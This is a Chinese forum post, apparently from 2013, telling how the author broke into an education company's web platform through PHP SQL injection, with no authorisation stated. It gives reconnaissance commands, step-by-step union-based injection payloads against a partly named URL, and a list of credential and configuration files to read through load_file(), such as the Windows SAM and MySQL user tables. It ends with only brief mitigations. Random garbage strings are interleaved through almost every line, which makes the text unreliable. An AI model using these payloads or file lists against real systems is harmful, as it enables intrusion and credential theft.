找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2494|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:/ ]' |: _' m# R. z( o# U7 E' n9 T
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
) u" R- l- O  s0 d9 ?/ l! ]+ p第一步:获取需要的信息- t$ m7 k; R# H- p; R
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
3 ^6 F/ W) S$ N' S2 `注:以下为保护特用XXX代替敏感信息* |  V9 W6 f1 W7 G. x# \
顺手先PING了一下他们的域名:
% {' `/ X! Q0 J% @ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
! ^" t4 x9 f6 a6 {% x# g64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms" L2 D6 ^- Y# o0 ]! P8 m
顺便了解一下TTL,学好基础知识才能一路顺风:2 ]' p$ N0 {! W; R- O" L: G/ ]$ y
TTL:(Time To Live ) 生存时间
8 I$ L3 M/ _1 ?% j指定数据包被路由器丢弃之前允许通过的网段数量。3 V) X! J- X" P
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。+ d7 ~5 }8 i, J4 A1 W
使用PING时涉及到的 ICMP 报文类型- m: B; W6 v) ~
一个为ICMP请求回显(ICMP Echo Request)# @9 A/ F2 y! S" ~) m0 P
一个为ICMP回显应答(ICMP Echo Reply). t1 q8 J! h4 l( `
TTL 字段值可以帮助我们识别操作系统类型。' {1 S! O; L+ v
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255# R5 n9 u. k+ }& e- s. ~
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
/ B( x7 u/ b) G5 s5 S, r微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1284 W) q. {0 F0 i
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
0 V- h( q6 Y, X* M* I( W8 Y当然,返回的TTL值是相同的7 ?( ^4 i# v! M
但有些情况下有所特殊
5 _4 k! V$ Y1 ZLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
( X" v# h; n# o) LFreeBSD 4.1, 4.0, 3.4;7 e! x9 X9 M# C7 L
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;/ c( k3 N6 f, ^. v
OpenBSD 2.6, 2.7,; O1 h, M* f; p# m) Y5 I" }6 {+ u
NetBSD! {6 _9 S9 L% }' k. W
HP UX 10.20: f2 ~% y' @! E" p  b$ J% j+ d
ICMP 回显应答的 TTL 字段值为 255/ ~; {) B7 F$ E, L5 f
Windows 95/98/98SE
9 v0 {( {$ r& u  u1 |Windows ME4 b' g  W, V) b9 s7 [6 b3 P; _
ICMP 回显应答的 TTL 字段值为 32
. i- Q( b5 Z" G2 E' Z: F8 m4 cWindows NT4 WRKS
$ ~% H* T  P* M/ ^$ mWindows NT4 Server: J$ S5 W  x5 E8 A! f6 y
Windows 2000$ c! l3 ?6 S" C# D
Windows XP' I- M/ Q+ I# k' X! q
ICMP 回显应答的 TTL 字段值为 128
% f. n  [. V* q% D4 l这样,我们就可以通过这种方法来辨别操作系统
" b; `4 q- z& z$ F6 J  `5 [+ T' qTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
1 B! m& ^" p' w, m3 Z7 w用NMAP扫描一下:* X  b, B4 ]* G# }
nmap -sT -O XXX.XXX.XXX.XXX" a2 F* }: h8 z1 Y, O" A: Z/ j
如果没有装WinPcap则会弹出提示:7 R0 m- |1 h; n) ]6 a
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
/ g1 Y2 e% r6 Q! w( uade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
9 K6 J0 D! O; e' z5 }! q) mode — Nmap may not function completely" k+ A- q/ z) y/ |  n5 W
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher% `8 b: Q8 w1 b& @/ P% [, F  N
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win* U! H6 U2 f' ^6 |- e
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
0 s. O# s5 j4 w5 n; md later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v0 R% L) `& ^% ?1 `
ersions, you may be able to take iphlpapi.dll from another system and place it i7 b" R5 k9 R$ Y& t$ t6 h
n your system32 dir (e.g. c:\windows\system32)." B- C  z0 Y) i! J& Q9 o3 z5 N5 z
QUITTING!
" m% j& A+ O" q# c4 o: A; ?到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
8 S3 }$ e7 m6 f! v9 K9 F安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:& M% l0 _/ ]( E5 c/ v" Y7 z) m
Interesting ports on XXX.XXX.XXX.XXX:! N+ v% Z* A# S
Not shown: 986 closed ports
/ m- O, v; ]( q6 V, D; O& y9 G( lPORT     STATE    SERVICE: W! m! e+ C8 `& T2 F2 {
21/tcp   open     ftp+ l7 \% \2 ?, @8 Q$ i9 g& T
22/tcp   open     ssh" ^3 N5 g, Z9 \# `! F- f. J- p
23/tcp   open     telnet
. t$ v6 g' F" d# ^5 ^. f9 I+ @80/tcp   open     http
+ _, v) q: d- {" O  L111/tcp  open     rpcbind
/ o. [& i& b) e' ]/ L2 V- t% K135/tcp  filtered msrpc
3 O" b1 H! \' I1 N( D* |6 C* Z139/tcp  filtered netbios-ssn
) N8 x$ _3 H2 h! Z% a* `445/tcp  filtered microsoft-ds* D  E  u/ l; N5 f3 n9 {" J8 ]
513/tcp  open     login3 j0 q6 _3 i& R
514/tcp  open     shell
0 `' L* z6 K: ~- Y; j% A. \/ x7 @593/tcp  filtered http-rpc-epmap
( m3 U6 k4 x6 }/ _- B$ P1720/tcp filtered H.323/Q.931" x5 R8 q) E% N: C, [" R7 C! d
3306/tcp open     mysql5 Z5 X% `  {! C) S# R
4444/tcp filtered krb524: |) p6 O2 }5 C. m4 A, y( ]7 l6 p
Device type: WAP
$ _. ]  b" |+ S; sRunning: Linux 2.4.X4 ^" J+ L3 ]5 r3 `8 f, n
OS details: DD-WRT (Linux 2.4.35s)% T* H# F5 K6 S9 B( l
Network Distance: 13 hops+ s5 h, n/ T5 h5 O5 X2 ]3 D
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:) h- S: {" ?- J0 G: l
login as:5 p; p2 u' J/ t8 P4 M- D
Telnet23端口也是开着的,用telnet 命令链接一下:$ ^* W3 s, N6 m$ d1 F! S6 A
telnet XXX.XXX.XXX.XXX0 j% G; a, L# ~  `
提示:
" Q9 m6 B. }  C1 o# uRed Hat Enterprise Linux Server release 5.2 (Tikanga)
+ ?) @; d4 R1 L& B  M2 LKernel 2.6.18-92.el5PAE on an i686
4 `9 L5 @5 i* ^3 S* Qlogin:  a1 u2 G" R' i9 ~% \6 h9 W
获取HTTP头信息:
7 d; c8 {1 c- S# m0 m8 u# I6 I在本地执行如下PHP代码6 [& n6 ?! o: U9 l
<?php! [4 Z' ?+ F, u1 l. ?
$url = ‘XXX.XXX.XXX.XXX’;) m: j6 r- C& r0 k# ~/ Y6 D6 l9 R
print_r(get_headers($url));4 a. B+ h' u0 i+ S9 z# i
print_r(get_headers($url, 1));& L- [3 z" q' d8 f7 ?3 \
?>
( g5 K$ D" X. G, @+ x将以上代码保存为PHP文件,执行:: F* |  p+ T+ [8 e7 ~+ a% a+ I
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ), Y) \5 f/ f. t4 _, C* j' p0 d
现在可以得出结论:
4 l# J% D0 ~  v5 |3 D7 i系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
* s$ C5 D% a( B: A+ b内核版本:Kernel 2.6.18-92.el5PAE on an i686
  e; |, R9 U% o" f5 U9 U& M2 tWEB服务器版本:nginx/0.7.61
' Z4 W: ]' o: C7 A. {第二步,开始测试寻找漏洞* ^6 ]3 Y9 g; f4 F' z
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
0 d' v9 L/ e/ [1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
2 T: ?6 w$ u* F2、测试方法:在地址后加 and 1=1 和 and 1=2 测试) v2 `, c5 H3 r1 _6 ]. f0 C
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常% ^4 R6 X- U/ n
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误( N# Z& C5 T% P# r. B: A
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
$ E, }+ T" q) g" {/ r( N$ W3、手工注入:% c% B" [& O" Z7 n! e
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。& V) \; N& g" d7 H, i$ A5 ?
3.1 猜测当前表字段数, X- v( V& X1 Q
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
( B+ J- e( d7 Z: W3 ?9 }; c" c% c此处猜测有个简单的算法,都是有技巧的吗,呵呵* l( C, |# |3 g. }% G9 ^% `- ]
算法简单如下:
8 V9 v7 W! \7 D( D( c第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
4 H' c( A$ T/ e3 Z6 R第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;( c; i( V* W5 X8 b' P
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
% ]7 P7 G$ e4 b以此来判断,是否过界,配合取中算法猜出字段数。1 t6 e# z, B8 R
举例:
7 v# M: X/ b+ D$ C4 hhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常# {- [- i' K" z( F0 O. V' Q
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误; N8 z4 L. r" q% s" Y7 G1 H
此时3则为我们要找的字段数。$ \; [+ M. D7 g0 L
3.2 配合union联合查询字段在页面所位置
% u5 v1 N/ P6 I6 ]) d: S/ y$ v我们已经知道了字段数为3,此时则可以做如下操作:
; o8 {, h' L3 o- a3 [0 P7 Q$ Whttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3: _2 O% C& R, W5 B
( ]2 J% `! P$ a* b' f* Y4 p
这样就可以测试到哪些字段在页面上有所显示了,如图:
0 h) _" }6 |: K9 h5 R4 d# |- u% e2 ?, t1 J
3.3 查敏感信息
( z/ L6 p& g$ b这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
: e- t' s" [, j# Fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()$ j& M) B3 ]8 h# Q! B
3.3.1 先查数据库用户、数据库名,以备后用,如图:
7 [3 g- ]* E1 j$ e, Y) U3 `& }9 Y9 x% q7 ^1 D/ A" ~7 t$ G
得到数据库用户为root、数据库名为DBxx;
. e6 P& X  `  K; F1 D1 R3.3.2 查配置文件
( U& t+ Y5 |) o9 {查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
# Q$ H, U' f5 R, i: R3 b1 p+ s/ W查看文件有一定的条件限制:
* q, Z5 G  y. `, F" ~7 e欲读取文件必须在服务器上* A& B* X; q7 e% K0 S; g; Q
必须指定文件完整的路径' t- l; J" g& _- M* `' I1 D
必须有权限读取并且文件必须完全可读
+ C- @. [" y7 l' @8 f. R9 ?3 A欲读取文件必须小于 max_allowed_packet
$ Q3 T3 v* o" l1 vMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
0 E  A7 L6 |& _) G# T* p: j* y/ b常用的一些:# x3 U) z# t: i( i% P$ o* {! m( V
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件. `6 p. m" x! G/ G, I* k
/usr/local/apache2/conf/httpd.conf, O# _- p6 |" q. _) _. L8 F0 y
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置, I$ @' g9 Q3 Y1 a5 c
/usr/local/app/php5/lib/php.ini //PHP相关设置) [1 B" ]2 A# H6 l
/etc/sysconfig/iptables //从中得到防火墙规则策略
/ M. c0 @+ l" X8 M/etc/httpd/conf/httpd.conf // apache配置文件, n6 |: Z- J( D5 B1 C: T
/etc/rsyncd.conf //同步程序配置文件
9 [) J, O6 U! w/ y8 n- ?/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.1 p" L  K$ E$ k+ J+ H
/etc/my.cnf //mysql的配置文件% o2 j9 t$ H: C
/etc/redhat-release //系统版本
, X1 a  s: y+ s1 d# y: F/etc/issue9 l. m: i9 a, Q0 L2 ~8 w
/etc/issue.net& c) U# r  ^# `1 r) S
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码4 Y" h8 ~/ ~! P8 X) }" l3 m+ [# K
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
* e8 r2 i, |/ O9 h9 y) @3 wc:\Program Files\Serv-U\ServUDaemon.ini! u; `; Q% f# r8 [: e
c:\windows\my.ini //MYSQL配置文件* S, _2 Z! ?1 [" J3 M! r3 ]
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件. E, m% w. n3 \& ^
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
% ^# c& u. O- g8 wc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码4 ~& H6 @: p- Y: r$ r" O, r! f# l
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
& @! F! r+ B* U7 ?3 t3 V: [c:\Program Files\RhinoSoft.com\ServUDaemon.exe/ c1 J" I/ _* N
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件* n* |: D4 _. `" S
//存储了pcAnywhere的登陆密码
, [- \: X7 @+ j$ |由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
& H* |9 G# H; I4 Z$ m* A这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
0 |, O8 \1 M3 N) ~) N- W3 [  h/ j最后:防范措施. i8 O; J6 r0 |# J9 L3 J
1、修复PHP注入漏洞;
2 \' J1 i7 M2 x( [0 [+ n  Q5 t2、Mysql使用普通权限的用户;8 q4 y  r( R: t% l
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表